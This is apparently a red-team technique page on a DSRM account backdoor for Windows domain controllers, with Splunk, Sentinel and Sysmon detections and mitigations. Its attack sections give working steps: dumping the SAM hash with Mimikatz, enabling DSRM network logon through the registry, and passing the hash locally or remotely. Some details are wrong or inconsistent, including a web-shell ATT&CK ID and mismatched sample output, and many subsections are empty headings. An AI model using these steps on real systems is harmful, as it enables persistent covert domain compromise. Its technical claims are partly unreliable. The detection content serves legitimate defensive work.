MCADDF

[PERSIST-SERVER-002]: DSRM Account Backdoor

Metadata

Attribute Details
Technique ID PERSIST-SERVER-002
MITRE ATT&CK v18.1 T1505.003 - Server Software Component Modification
Tactic Persistence
Platforms Windows AD
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Server 2016, 2019, 2022, 2025
Patched In N/A (Configuration-based attack, not a vulnerability)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: The Directory Services Restore Mode (DSRM) account is a local administrator account created during Active Directory promotion on every domain controller. This account is designed as a “break glass” recovery mechanism for restoring the AD database or recovering the DC from failure. An attacker with Domain Admin privileges can extract the DSRM account’s password hash using credential dumping tools, then modify a critical registry key (DsrmAdminLogonBehavior) to enable remote logon using DSRM credentials at all times. This bypasses the default restriction that limits DSRM authentication only to DC reboot scenarios, creating a persistent backdoor that survives password resets and domain credential changes.

Attack Surface: Domain Controller local administrator account, Windows registry (HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior), LSA secrets, SAM database.

Business Impact: Complete Domain Controller Compromise. An attacker gains permanent administrative access to the DC that persists indefinitely, even after domain credential resets. This enables data exfiltration, lateral movement, AD manipulation, backup sabotage, and long-term espionage without requiring stolen domain credentials.

Technical Context: Exploitation requires 5-10 minutes with Domain Admin access. Detection likelihood is Low to Medium if audit logging is not explicitly enabled for Event ID 4794 (DSRM password resets) and registry modifications. The attack leaves forensic evidence in Windows Event Logs and registry, but attackers often clear logs post-exploitation.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 4.1.1 Ensure DSRM Passwords Are Complex and Regularly Changed
DISA STIG WN10-00-000170 Administrator account on domain controllers must have unique passwords
CISA SCuBA IA-2(1) Authentication Mechanisms (Privileged Account Management)
NIST 800-53 AC-3, AC-6(1) Access Enforcement; Least Privilege for Privileged Accounts
GDPR Art. 32 Security of Processing; encryption and access control measures
DORA Art. 9 Protection and Prevention Measures for Critical Infrastructure
NIS2 Art. 21 Cyber Risk Management; Privileged Access Protection
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Section 7 Risk Assessment - Unauthorized Access to Tier 0 Assets

2. Technical Prerequisites


3. Detailed Execution Methods and Their Steps

METHOD 1: Registry Modification via PowerShell (Preferred - Direct Access to DC)

Supported Versions: Server 2016-2025

Prerequisites: Domain Admin access to the DC; ability to execute PowerShell with elevated privileges.

Step 1: Dump DSRM Password Hash Using Mimikatz

Objective: Extract the local Administrator account’s NTLM hash from the SAM database. This hash represents the DSRM account password.

Command:

# On the domain controller, run Mimikatz with privilege escalation
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit"

Expected Output:

RID  : 500 (Administrator)
User : Administrator
NTLM : fc063a56bf43cb54e57a2522d4d48678

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Modify DsrmAdminLogonBehavior Registry Key

Objective: Set the registry key that controls DSRM logon behavior to value 2, allowing DSRM credentials to be used for network authentication at any time (not just during DC reboot).

Command:

# Check current value
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue

# Set to 2 (Allow DSRM login at all times)
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force

# Verify
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior"

Command (Server 2016-2019):

# Alternative: Using reg.exe (lower privilege requirements)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

Command (Server 2022+):

# Same as above (no version-specific differences for registry modification)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2

Expected Output:

Hive: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa

Name                           Value
----                           -----
DsrmAdminLogonBehavior         2

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Authenticate Using DSRM Hash via Pass-the-Hash

Objective: Use the extracted DSRM hash to authenticate as the local Administrator account over the network, gaining persistent DC access.

Command:

# Use Mimikatz to authenticate with the DSRM hash
.\mimikatz.exe "sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:fc063a56bf43cb54e57a2522d4d48678 /run:powershell.exe"

# This spawns a new PowerShell process authenticated as DSRM\Administrator
# Verify by running:
whoami /all

Alternative - Using Rubeus (if Mimikatz is blocked):

# Note: Rubeus is less direct for DSRM; Mimikatz is preferred
.\rubeus.exe asktgt /user:Administrator /rc4:fc063a56bf43cb54e57a2522d4d48678 /domain:DC01 /ptt

Expected Output:

PowerShell Prompt Changes to:
DC01\Administrator

C:\Windows\system32>whoami /all
USER INFORMATION
nt authority\system
...

SID S-1-5-21-...-500  [Local Administrator]

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: DSRM Password Reset via Ntdsutil (Pre-Compromise Setup)

Supported Versions: Server 2016-2025

Prerequisites: Domain Admin privileges; local or remote access to DC; need to reset DSRM password intentionally (defensive scenario or attacker setting a known password).

Objective: Proactively change the DSRM password to a known value, allowing future logons without credential dumping.

Command:

# Interactive mode
ntdsutil
set dsrm password
reset password on server null
(Enter new password)
q
q

Command (Scripted/Non-Interactive):

# PowerShell scriptable version (Server 2019+)
& ntdsutil "set dsrm password" "reset password on server null" q q
# (Will prompt for password interactively)

Expected Output:

C:\>ntdsutil
ntdsutil: set dsrm password
DSRM Password: reset password on server null
(password prompt appears)
Enter new password for Administrator on DC01:
Confirm Password:
Password has been set successfully.

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 3: Remote DSRM Password Hash Extraction (If Physical Access Unavailable)

Supported Versions: Server 2016-2025

Prerequisites: Domain Admin credentials; ability to execute commands on the DC remotely (PSRemoting, RDP, or WinRM).

Objective: Extract DSRM hash from a remote DC without being physically present.

Command:

# Execute Mimikatz remotely via PSRemoting
$dc = "DC01"
Invoke-Command -ComputerName $dc -ScriptBlock {
    C:\Tools\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
} -Credential (Get-Credential)

Expected Output:

(Output from remote DC showing DSRM hash)

What This Means:

OpSec & Evasion:


4. Splunk Detection Rules

Rule 1: DSRM Account Password Reset Detected

Rule Configuration:

SPL Query:

index=windows sourcetype="XmlWinEventLog:Security" EventID=4794
| fields _time, SubjectUserName, ComputerName, ObjectName
| stats count by SubjectUserName, ComputerName
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to “when count > 0”
  6. Configure Action → Send email to SOC team
  7. Click Save

Source: Splunk: Windows AD DSRM Password Reset Detection

Rule 2: Registry Modification to DsrmAdminLogonBehavior

Rule Configuration:

SPL Query:

index=sysmon EventID=13 TargetObject="*DsrmAdminLogonBehavior"
| fields _time, ComputerName, User, Details, NewValue
| search NewValue=2 OR NewValue=1

What This Detects:

Manual Configuration Steps (Splunk):

  1. Navigate to SettingsSearches, reports, and alerts
  2. Create a new Scheduled query rule
  3. Paste the SPL query above
  4. Run every 5 minutes
  5. Set trigger condition: count > 0
  6. Enable alerting

Source: Datadog: DSRM Registry Monitoring


5. Microsoft Sentinel Detection

Query 1: DSRM Password Reset Detection via AuditLogs

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4794
| project TimeGenerated, ComputerName, Account, Activity
| extend AlertReason = "DSRM password reset detected"

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: DSRM Password Reset Detection
    • Severity: High
    • Tactics: Persistence, Privilege Escalation
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 24 hours
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "DSRM Password Reset Detection" `
  -Query @"
SecurityEvent
| where EventID == 4794
| project TimeGenerated, ComputerName, Account, Activity
"@ `
  -Severity "High" `
  -Enabled $true

6. Windows Event Log Monitoring

Event ID: 4794 (Directory Services Restore Mode Administrator Password Reset)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAccount Management
  3. Enable: Audit User Account Management
  4. Set to: Success and Failure
  5. Run gpupdate /force on all DCs

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc) on each DC
  2. Navigate to Advanced Audit Policy ConfigurationAccount Management
  3. Enable: Audit User Account Management
  4. Restart the service: gpupdate /force

Audit event 4794 captures:


7. Sysmon Detection Patterns

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+

<Sysmon schemaversion="4.30">
  <EventFiltering>
    <!-- Registry modification to DsrmAdminLogonBehavior -->
    <RuleGroup name="DSRM Persistence" groupRelation="or">
      <RegistryEvent onmatch="include">
        <TargetObject condition="contains all">DsrmAdminLogonBehavior</TargetObject>
        <NewValue condition="is">1</NewValue>
      </RegistryEvent>
      <RegistryEvent onmatch="include">
        <TargetObject condition="contains all">DsrmAdminLogonBehavior</TargetObject>
        <NewValue condition="is">2</NewValue>
      </RegistryEvent>
    </RuleGroup>

    <!-- Mimikatz execution (lsadump module) -->
    <RuleGroup name="Credential Dumping" groupRelation="or">
      <ProcessCreation onmatch="include">
        <CommandLine condition="contains">lsadump</CommandLine>
      </ProcessCreation>
      <ProcessCreation onmatch="include">
        <CommandLine condition="contains">mimikatz</CommandLine>
      </ProcessCreation>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 -FilterXPath "*[System[EventID=13]]"
    

8. Microsoft Defender for Cloud

Detection Alert: DSRM Account Misuse

Alert Name: “Suspicious registry modification - DsrmAdminLogonBehavior changed”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Microsoft Defender for Cloud Apps: ON
  5. Click Save
  6. Go to Alerts to view triggered alerts

Reference: Microsoft Defender for Cloud Documentation


9. Microsoft Purview (Unified Audit Log)

Note: DSRM is on-premises only; Purview does not directly log DSRM activity. However, if Azure AD Connect is used for synchronization, monitor for unusual on-premises AD changes synchronized to Entra ID.

Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "Reset User Password" -StartDate (Get-Date).AddDays(-1) | Where-Object { $_.ObjectId -like "*Administrator*" }

10. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check DSRM password last change
Get-EventLog -LogName Security -InstanceId 4794 -Newest 10

# Check registry value
$regValue = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
if ($regValue.DsrmAdminLogonBehavior -eq 0 -or $null -eq $regValue.DsrmAdminLogonBehavior) {
    Write-Host "SECURE: DsrmAdminLogonBehavior is correctly set to default (0)"
} else {
    Write-Host "WARNING: DsrmAdminLogonBehavior is set to $($regValue.DsrmAdminLogonBehavior) - POTENTIAL ATTACK"
}

# Check for Mimikatz or credential dumping tools on DC
Get-ChildItem -Path "C:\Tools", "C:\ProgramData", "C:\Temp", "C:\Windows\Temp" -Include "*mimikatz*", "*dumpert*", "*procdump*" -ErrorAction SilentlyContinue

Expected Output (If Secure):

DsrmAdminLogonBehavior is correctly set to default (0)
No suspicious tools found in system directories

What to Look For:


Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial user credentials via phishing
2 Privilege Escalation [PE-VALID-002] Computer Account Quota Abuse Escalate from domain user to domain admin
3 Credential Access [CA-DUMP-001] Mimikatz LSASS Extraction Dump credentials from memory
4 Current Step [PERSIST-SERVER-002] DSRM Account Backdoor - Establish DC persistence
5 Persistence [PERSIST-SERVER-003] Azure Function Backdoor Pivot to cloud infrastructure for long-term persistence
6 Impact [LM-AUTH-001] Pass-the-Hash Movement Laterally move using DSRM credentials; exfiltrate AD data

12. Real-World Examples

Example 1: FIN7 APT (Multiple Campaigns)

Example 2: WIZARD SPIDER (Conti Ransomware Gang)


References & Additional Resources